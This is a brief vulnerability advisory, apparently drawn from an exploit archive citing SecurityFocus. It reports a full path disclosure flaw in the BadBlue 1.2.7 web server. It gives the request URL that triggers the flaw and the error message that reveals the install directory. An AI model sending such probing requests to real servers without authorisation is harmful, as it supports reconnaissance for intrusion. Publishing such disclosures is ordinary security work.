Working Resources BadBlue 1.2.7 - Full Path Disclosure
source: https://www.securityfocus.com/bid/2390/info
Requesting a specially crafted URL to a machine running Working Resources BadBlue, will disclose the physical path to the root directory.
http://target/ext.dll
will result in:
[Error: opening c:\program files\badblue\pe\default.htx (2)]